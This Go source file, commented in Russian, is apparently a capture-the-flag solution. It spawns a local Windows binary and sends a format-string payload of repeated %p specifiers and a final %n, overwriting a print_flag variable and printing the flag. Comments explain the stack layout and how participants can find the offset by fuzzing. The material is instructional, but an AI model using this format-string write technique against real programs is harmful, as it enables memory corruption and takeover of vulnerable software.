/* Поскольку %44$n не работает, нам нужно "прошагать" по стеку. При вызове printf(fmt_str, 0xdeadbeef) память выглядит так: fmt_str (в RCX) 0xdeadbeef (в RDX) Мусор или старые значения (в R8) Мусор (в R9) Shadow Space (32 байта на стеке) Локальные переменные main (среди которых указатель print_flag). Мы будем отправлять пейлоад вида %p %p %p %p... %n. Когда %n дойдет до слота на стеке, где лежит указатель print_flag, printf запишет туда количество выведенных до этого байт. Значение станет больше нуля, и условие if (*print_flag) выполнится. */ package main import ( "bytes" "log" "winpwn" ) func main() { // Спавним локальный процесс (потом можно заменить на winpwn.Remote) tube, err := winpwn.Spawn("fs3_win.exe") if err != nil { log.Fatalf("Spawn: %v", err) } // Оффсет: сколько спецификаторов %p нужно напечатать, // чтобы следующий элемент указывал на переменную print_flag. // Это число вычисляется динамически в x64dbg (смотришь на стек перед вызовом printf). // Допустим, после анализа мы выяснили, что указатель лежит 12-м по счету. offset := 12 // Конструируем пейлоад вида: "%p %p %p %p %p %p %p %p %p %p %p %n\n" // Первые %p вытащат RDX (0xdeadbeef), R8, R9, затем содержимое стека. // Последний %n запишет число по адресу, лежащему на стеке (наш print_flag). var payload bytes.Buffer for i := 0; i < offset-1; i++ { payload.WriteString("%p ") } payload.WriteString("%n\n") // Отправляем форматную строку if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil { log.Fatalf("SendLineAfter: %v", err) } // Перехватываем управление, чтобы увидеть вывод флага tube.Interactive() } /* Как участникам искать offset? Им не обязательно использовать дебаггер. Форматные строки можно фаззить прямо из терминала. Если участник отправит строку AAAA %p %p %p %p %p %p %p %p %p %p, он увидит что-то вроде: AAAA 00000000DEADBEEF 00007FF71234 000000000000 000000000000 029011B0... Где 029011B0 — это типичный адрес кучи в Windows. Как только они на глаз определят, каким по счету выводится адрес кучи, они просто заменят последний %p на %n. */